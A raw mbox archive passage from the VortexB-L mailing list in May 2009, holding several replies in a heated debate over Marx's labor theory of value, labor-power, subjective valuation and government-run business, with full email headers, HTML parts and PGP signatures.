On Tue, May 26, 2009 at 4:30 PM, grok <grok@resist.ca> wrot= e:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> In fact the LTV explains nothing of the sort, = because the exchange value of
> an hour of labor is one hour.

Well, you would just about DEAD WRONG there fella, wouldn't you..= ? At least in your
implied argument -- as this statement above is "true" enuff on th= e surface -- and yet
highly misleading. For one thing: you certainly don't yet make the dist= inction
between labor and labor-*power*. Which is kinda like confusing a train with= a train
trip. Or having a cake vs. the eating of it...

One of the points which Karl Marx famously flushes out of the typical creti= nism that
passes for bourgeois ekonomik theory is this: how is profit to be made from=
exchanging commodities at their value..? And the point very much is: IT CAN= NOT BE
DONE. Which is where the **difference in value** of the commodity _labor-po= wer_, vs.
the value of its product -- _labor_, per se -- exactly comes in.

A bit of smoke and mirrors at work here, in fact.
Capitalists DO love their razzle-dazzle... Like any carnival sideshow barke= r.


- --grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

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=3D65y0
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e50108b90e046ad6bfd4-- From vortexb-l-request@eskimo.com Tue May 26 15:28:59 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QMSqR0016040; Tue, 26 May 2009 15:28:56 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QMSpeB016033; Tue, 26 May 2009 15:28:51 -0700 Resent-Date: Tue, 26 May 2009 15:28:51 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> Subject: RE: [VoB]:Re: This is VortexB-L... Date: Tue, 26 May 2009 18:28:47 -0400 Message-ID: <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0036_01C9DE2F.CF0FACF0" X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 In-Reply-To: <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> Thread-Index: AcneQnNGtjQ8qAP+Rj+8LOJ1Hx64RwACPR4g Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4190 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 432 This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C9DE2F.CF0FACF0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit There is a maximum that customers will pay for a product. There is a minimum pay that a laborer will be willing to accept to make the product. There are also expenses like parts, materials, a building, heat, electric, insurance, etc. The difference between the sale price and the costs is the business owner's pay. At 5:00 the laborer puts all thoughts of his work out of his mind and goes home, but the business owner's work day is only half over. He must still make major decisions into the night that will seriously affect his income. Mistakes can be catastrophic. If the costs to produce the product are too high or the price customers are willing to pay is too low, the business fails. Both the owner and laborer are out of a job. The difference is that the laborer can collect unemployment, but the owner cannot, even though he paid into unemployment compensation. Of course, if the business is subsidized by the government, that changes everything. If the price that the market will bear is less than the cost of providing the product, the tax payer(you) make up the difference. In this way uneconomical products come into existence such as wind turbines. If the government owns and runs the business, then the bureaucratic manager as well as the laborer quit at 5:00 and both put all thoughts of their work out of their minds. The business is poorly run, but the bureaucrat doesn't care because he gets the same pay whether or not the tax money is well spent or wasted. And this is the essence of a government run economy. Jeff _____ From: Charles HOPE [mailto:lookslikeiwasright@gmail.com] Sent: Tuesday, May 26, 2009 4:41 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... But a commodity doesn't have a value absent a valuer. On Tue, May 26, 2009 at 4:30 PM, grok wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > In fact the LTV explains nothing of the sort, because the exchange value of > an hour of labor is one hour. Well, you would just about DEAD WRONG there fella, wouldn't you..? At least in your implied argument -- as this statement above is "true" enuff on the surface -- and yet highly misleading. For one thing: you certainly don't yet make the distinction between labor and labor-*power*. Which is kinda like confusing a train with a train trip. Or having a cake vs. the eating of it... One of the points which Karl Marx famously flushes out of the typical cretinism that passes for bourgeois ekonomik theory is this: how is profit to be made from exchanging commodities at their value..? And the point very much is: IT CANNOT BE DONE. Which is where the **difference in value** of the commodity _labor-power_, vs. the value of its product -- _labor_, per se -- exactly comes in. A bit of smoke and mirrors at work here, in fact. Capitalists DO love their razzle-dazzle... Like any carnival sideshow barker. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfcb8U4K9Pp5WA9vQyHA0e8Yau CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY =65y0 -----END PGP SIGNATURE----- -- Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying "behold," This land that knew fire is yours Taken from Corruption To begin anew ------=_NextPart_000_0036_01C9DE2F.CF0FACF0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

There is a maximum that customers = will pay for a product.  There is a minimum pay that a laborer will be = willing to accept to make the product.  There are also expenses like parts, = materials, a building, heat, electric, insurance, etc.  The difference between the sale = price and the costs is the business owner’s pay.  At 5:00 the laborer = puts all thoughts of his work out of his mind and goes home, but the business = owner’s work day is only half over.  He must still make major decisions = into the night that will seriously affect his income.  Mistakes can be catastrophic.  If the costs to produce the product are too high or = the price customers are willing to pay is too low, the business fails.  = Both the owner and laborer are out of a job.  The difference is that the laborer can collect unemployment, but the owner cannot, even though he = paid into unemployment compensation.

 

Of course, if the business is = subsidized by the government, that changes everything.  If the price that the = market will bear is less than the cost of providing the product, the tax = payer(you) make up the difference. In this way uneconomical products come into = existence such as wind turbines.

 

If the government owns and runs the business, then the bureaucratic manager as well as the laborer quit at = 5:00 and both put all thoughts of their work out of their minds.  The = business is poorly run, but the bureaucrat doesn’t care because he gets the = same pay whether or not the tax money is well spent or wasted.  And this is = the essence of a government run economy.

 

Jeff

 

From: = Charles HOPE [mailto:lookslikeiwasright@gmail.com]
Sent: Tuesday, May 26, = 2009 4:41 PM
To: vortexb-l@eskimo.com
Subject: Re: [VoB]:Re: = This is VortexB-L...

 

But a = commodity doesn't have a value absent a valuer.

On Tue, May 26, 2009 at 4:30 PM, grok <grok@resist.ca> = wrote:

-----BEGIN PGP = SIGNED MESSAGE-----
Hash: SHA1

As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com= >

mounted the = barricade and roared out:

> In fact = the LTV explains nothing of the sort, because the exchange value of
> an hour of labor is one hour.

Well, you would just about DEAD WRONG there fella, wouldn't = you..? At least in your
implied argument -- as this statement above is "true" enuff on = the surface -- and yet
highly misleading. For one thing: you certainly don't yet make the = distinction
between labor and labor-*power*. Which is kinda like confusing a train = with a train
trip. Or having a cake vs. the eating of it...

One of the points which Karl Marx famously flushes out of the typical = cretinism that
passes for bourgeois ekonomik theory is this: how is profit to be made = from
exchanging commodities at their value..? And the point very much is: IT = CANNOT BE
DONE. Which is where the **difference in value** of the commodity _labor-power_, vs.
the value of its product -- _labor_, per se -- exactly comes in.

A bit of smoke and mirrors at work here, in fact.
Capitalists DO love their razzle-dazzle... Like any carnival sideshow = barker.


- --grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfcb8U4K= 9Pp5WA9vQyHA0e8Yau
CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY
=3D65y0
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--
Never did I see a second sun
Never did my skin touch a land of glass
Never did my rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the want
A uranium angel
Crying “behold,”
This land that knew fire is yours
Taken from Corruption
To begin anew

------=_NextPart_000_0036_01C9DE2F.CF0FACF0-- From vortexb-l-request@eskimo.com Tue May 26 15:45:36 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QMjXEU020011; Tue, 26 May 2009 15:45:33 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QMjS7Q019996; Tue, 26 May 2009 15:45:28 -0700 Resent-Date: Tue, 26 May 2009 15:45:28 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=38sGFdKv1LolaQInn8qyqh+Vzi1woZZnZmz24fu7dDY=; b=onLqXB4FZfn7b/MDL4FtOViSSFoWHPsvMH51bt6yQD4quDadLdYEalpRIf+SDLCC6L ca6zMjhI0vhMBJcxIlGsAX6oDil7Psk2OA3C6e0Zn0PIV14FOfOPkHf2fR7EuGj0nJ6R LoE0b/xWE6/3hF7VyGgsuEW/kA0TzhIiF/H3M= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=BTikAK3XF6UuRYVpV66wwDq2q216eokw6iMY4oNs5iId5LVsaN8v0LgJ/19bzShs/V u3Kr8gueS+dVaIuVIvZy1C3Eerm2HkuV5OPw2Djx7yXtoBMFR25wxkES4kAQmTLymPSj 89X6S5YBfMM3wjNmlVXSaQwUbhBQoD7jKuYdk= MIME-Version: 1.0 In-Reply-To: <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> From: Charles HOPE Date: Tue, 26 May 2009 18:45:06 -0400 Message-ID: <63ffa6020905261545y16af421fu29b04ea186e89d27@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a84e9f3cb0046ad87bdd Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4191 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 433 --001636c5a84e9f3cb0046ad87bdd Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Somehow, Jeff, in Marxism none of that hard work counts as labor. On Tue, May 26, 2009 at 6:28 PM, Jeff Fink wrote: > There is a maximum that customers will pay for a product. There is a > minimum pay that a laborer will be willing to accept to make the product. > There are also expenses like parts, materials, a building, heat, electric= , > insurance, etc. The difference between the sale price and the costs is t= he > business owner=92s pay. At 5:00 the laborer puts all thoughts of his wor= k out > of his mind and goes home, but the business owner=92s work day is only ha= lf > over. He must still make major decisions into the night that will seriou= sly > affect his income. Mistakes can be catastrophic. If the costs to produc= e > the product are too high or the price customers are willing to pay is too > low, the business fails. Both the owner and laborer are out of a job. T= he > difference is that the laborer can collect unemployment, but the owner > cannot, even though he paid into unemployment compensation. > > > > Of course, if the business is subsidized by the government, that changes > everything. If the price that the market will bear is less than the cost= of > providing the product, the tax payer(you) make up the difference. In this > way uneconomical products come into existence such as wind turbines. > > > > If the government owns and runs the business, then the bureaucratic manag= er > as well as the laborer quit at 5:00 and both put all thoughts of their wo= rk > out of their minds. The business is poorly run, but the bureaucrat doesn= =92t > care because he gets the same pay whether or not the tax money is well sp= ent > or wasted. And this is the essence of a government run economy. > > > > Jeff > > > ------------------------------ > > *From:* Charles HOPE [mailto:lookslikeiwasright@gmail.com] > *Sent:* Tuesday, May 26, 2009 4:41 PM > *To:* vortexb-l@eskimo.com > *Subject:* Re: [VoB]:Re: This is VortexB-L... > > > > But a commodity doesn't have a value absent a valuer. > > On Tue, May 26, 2009 at 4:30 PM, grok wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > As the smoke cleared, Charles HOPE > > mounted the barricade and roared out: > > > In fact the LTV explains nothing of the sort, because the exchange valu= e > of > > an hour of labor is one hour. > > Well, you would just about DEAD WRONG there fella, wouldn't you..? At lea= st > in your > implied argument -- as this statement above is "true" enuff on the surfac= e > -- and yet > highly misleading. For one thing: you certainly don't yet make the > distinction > between labor and labor-*power*. Which is kinda like confusing a train wi= th > a train > trip. Or having a cake vs. the eating of it... > > One of the points which Karl Marx famously flushes out of the typical > cretinism that > passes for bourgeois ekonomik theory is this: how is profit to be made fr= om > exchanging commodities at their value..? And the point very much is: IT > CANNOT BE > DONE. Which is where the **difference in value** of the commodity > _labor-power_, vs. > the value of its product -- _labor_, per se -- exactly comes in. > > A bit of smoke and mirrors at work here, in fact. > Capitalists DO love their razzle-dazzle... Like any carnival sideshow > barker. > > > - --grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfcb8U4K9Pp5WA9vQyHA0e8Yau > CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY > =3D65y0 > -----END PGP SIGNATURE----- > > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a84e9f3cb0046ad87bdd Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Somehow, Jeff, in Marxism none of that hard work counts as labor.

<= br>
On Tue, May 26, 2009 at 6:28 PM, Jeff Fin= k <revtec@ptd.net> wrote:

There is a maximum that customers = will pay for a product.=A0 There is a minimum pay that a laborer will be willing to = accept to make the product.=A0 There are also expenses like parts, materials, a bu= ilding, heat, electric, insurance, etc.=A0 The difference between the sale price an= d the costs is the business owner=92s pay.=A0 At 5:00 the laborer puts all thoughts of his work out of his mind and goes home, but the business owner= =92s work day is only half over.=A0 He must still make major decisions into the night that will seriously affect his income.=A0 Mistakes can be catastrophic.=A0 If the costs to produce the product are too high or the price customers are willing to pay is too low, the business fails.=A0 Both the owner and laborer are out of a job.=A0 The difference is that the laborer can collect unemployment, but the owner cannot, even though he paid into unemployment compensation.

=A0

Of course, if the business is subs= idized by the government, that changes everything.=A0 If the price that the market will bear is less than the cost of providing the product, the tax payer(you= ) make up the difference. In this way uneconomical products come into existen= ce such as wind turbines.

=A0

If the government owns and runs th= e business, then the bureaucratic manager as well as the laborer quit at 5:00= and both put all thoughts of their work out of their minds.=A0 The business is poorly run, but the bureaucrat doesn=92t care because he gets the same pay whether or not the tax money is well spent or wasted.=A0 And this is the essence of a government run economy.

=A0

Jeff

=A0

From: Ch= arles HOPE [mailto:l= ookslikeiwasright@gmail.com]
Sent: Tuesday, May 26, 200= 9 4:41 PM


To: vortexb-l@eskimo.com
Subject: Re: [VoB]:Re: This is VortexB-L...

=A0

But a commodity doesn't have a value absent a valuer.

On Tue, May 26, 2009 at 4:30 PM, grok <grok@resist.ca> wrote:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>

mounted the barricade and roared out:

> In fact the LTV explains nothing of the sort, because the exchange value of
> an hour of labor is one hour.

Well, you would just about DEAD WRONG there fella, wouldn't you..? A= t least in your
implied argument -- as this statement above is "true" enuff on th= e surface -- and yet
highly misleading. For one thing: you certainly don't yet make the dist= inction
between labor and labor-*power*. Which is kinda like confusing a train with= a train
trip. Or having a cake vs. the eating of it...

One of the points which Karl Marx famously flushes out of the typical creti= nism that
passes for bourgeois ekonomik theory is this: how is profit to be made from=
exchanging commodities at their value..? And the point very much is: IT CAN= NOT BE
DONE. Which is where the **difference in value** of the commodity _labor-power_, vs.
the value of its product -- _labor_, per se -- exactly comes in.

A bit of smoke and mirrors at work here, in fact.
Capitalists DO love their razzle-dazzle... Like any carnival sideshow barke= r.


- --grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkocUV8ACgkQXo3EtEYbt3FKdQCfc= b8U4K9Pp5WA9vQyHA0e8Yau
CpoAnjoeNgIypJu3xTVd9PK1nhWg1QRY
=3D65y0
-----END PGP SIGNATURE-----




--
Never did I see a second sun
Never did my skin touch a land of glass
Never did my rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is yours
Taken from Corruption
To begin anew




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a84e9f3cb0046ad87bdd-- From vortexb-l-request@eskimo.com Tue May 26 15:54:38 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QMsWhH022237; Tue, 26 May 2009 15:54:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QMsVKY022217; Tue, 26 May 2009 15:54:31 -0700 Resent-Date: Tue, 26 May 2009 15:54:31 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 15:54:09 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526225409.GB2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: RADARSAT-1, GII, M-2 machine guns , AGS, Pantsir-C1 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4192 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 434 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > But a commodity doesn't have a value absent a valuer. And your point is exactly... what? Obviously, commodities which can't be sold for profit or cost will be sold for a loss - -- or bulldozed into a landfill, or something. Happens all the time. Especially in an overproduction crisis -- like we're now undergoing, Worldwide. Of course, youse people don't seem to be much touched by all this. Yet. Nothing like a big ol' heaping spoonful of (smug) Denial, eh guys..? ;> - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoccxEACgkQXo3EtEYbt3G8aACg0wCmBgc52WimpUi00CfRh7qo nAkAnixA8hrpQuOxdibBgZjsKlxmtZxw =oy7F -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue May 26 16:07:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QN7KeX026868; Tue, 26 May 2009 16:07:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QN7JMp026855; Tue, 26 May 2009 16:07:19 -0700 Resent-Date: Tue, 26 May 2009 16:07:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=1518wpFlQASWVwPGkwmwJBGVYMhoa/OhZLu6naghMtk=; b=TQWgMX7mrgUbCNOS4AwwWauK3IIbitmLQCFewG26RowyFz6lnaWfS06L5le0HoxwEP 5rmbhdZ/CJzFEJ+lWh3+eHbJVDVhSAYM0bEsN89epy8GGnkjASmUheQRcmRwPtFizLqj AJnQnpwJW713wgvcrTAXeLt2DJlMAj9OkWKFg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=J5RAgCVjAscc3m3vgZ7+OhVCbxx46/tsaBEuHJcEG1xImz1dK5rWj0tI8ONkQE4utN Bcj2hqiCFbXkg4ZlGSBtp0faCUZzc5mOxuHRtqpq11RGecYaXqT7gub8NV/MhW7pqSzR udRIExVq+QbTrAk3mGLgJfrsemrwjqPUbyxCY= MIME-Version: 1.0 In-Reply-To: <20090526225409.GB2707@shell.resist.ca> References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <20090526225409.GB2707@shell.resist.ca> From: Charles HOPE Date: Tue, 26 May 2009 19:06:58 -0400 Message-ID: <63ffa6020905261606n1cf4a27nf5049694233b936f@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b352cfd8ec046ad8c9f5 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4193 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 435 --001636c5b352cfd8ec046ad8c9f5 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You asked "how is profit to be made from exchanging commodities at their value..? And the point very much is: IT CANNOT BE DONE. Which is where the **difference in value** of the commodity _labor-power_, vs. the value of its product -- _labor_, per se -- exactly comes in." But you can't discuss a value without introducing a valuer, and each valuer values the commodity differently, which is where the difference in value comes from. You keep attempting to introduce an objective value, like discussing redness without anything that is red, so that you can falsely argue that somebody is getting cheated. And of course, when cornered, you simply evade everything and resort to sid= e topics and lashing out. On Tue, May 26, 2009 at 6:54 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > But a commodity doesn't have a value absent a valuer. > > And your point is exactly... what? > > Obviously, commodities which can't be sold for profit or cost will be sol= d > for a loss > - -- or bulldozed into a landfill, or something. Happens all the time. > Especially in an > overproduction crisis -- like we're now undergoing, Worldwide. > > Of course, youse people don't seem to be much touched by all this. Yet. > Nothing like > a big ol' heaping spoonful of (smug) Denial, eh guys..? > ;> > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoccxEACgkQXo3EtEYbt3G8aACg0wCmBgc52WimpUi00CfRh7qo > nAkAnixA8hrpQuOxdibBgZjsKlxmtZxw > =3Doy7F > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b352cfd8ec046ad8c9f5 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You asked "how is profit to be made from
exchanging commodities at their value..? And the point very much is: IT CAN= NOT BE
DONE. Which is where the **difference in value** of the commodity _labor-po= wer_, vs.
the value of its product -- _labor_, per se -- exactly comes in."
<= br>But you can't discuss a value without introducing a valuer, and each= valuer values the commodity differently, which is where the difference in = value comes from.=A0 You keep attempting to introduce an objective value, l= ike discussing redness without anything that is red, so that you can falsel= y argue that somebody is getting cheated.

And of course, when cornered, you simply evade everything and resort to= side topics and lashing out.



On = Tue, May 26, 2009 at 6:54 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> But a commodity doesn't have a value absen= t a valuer.

And your point is exactly... what?

Obviously, commodities which can't be sold for profit or cost will be s= old for a loss
- -- or bulldozed into a landfill, or something. Happens all the time. Espe= cially in an
overproduction crisis -- like we're now undergoing, Worldwide.

Of course, youse people don't seem to be much touched by all this. Yet.= Nothing like
a big ol' heaping spoonful of (smug) Denial, eh guys..?
;>


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoccxEACgkQXo3EtEYbt3G8aACg0wCmBgc52WimpUi00CfRh7qo
nAkAnixA8hrpQuOxdibBgZjsKlxmtZxw
=3Doy7F
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b352cfd8ec046ad8c9f5-- From vortexb-l-request@eskimo.com Tue May 26 16:09:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QN9bvl027621; Tue, 26 May 2009 16:09:37 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QN9bUH027611; Tue, 26 May 2009 16:09:37 -0700 Resent-Date: Tue, 26 May 2009 16:09:37 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 26 May 2009 16:09:31 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090526230931.GC2707@shell.resist.ca> Reply-To: grok@resist.ca References: <24627f24385a.24385a24627f@ncf.ca> <63ffa6020905260933n4dd80fc8l8284d4823b37c5bf@mail.gmail.com> <20090526192626.GD9890@shell.resist.ca> <63ffa6020905261240r50a5da02ndaa490dab03d249e@mail.gmail.com> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> X-Operating-System: Linux i686 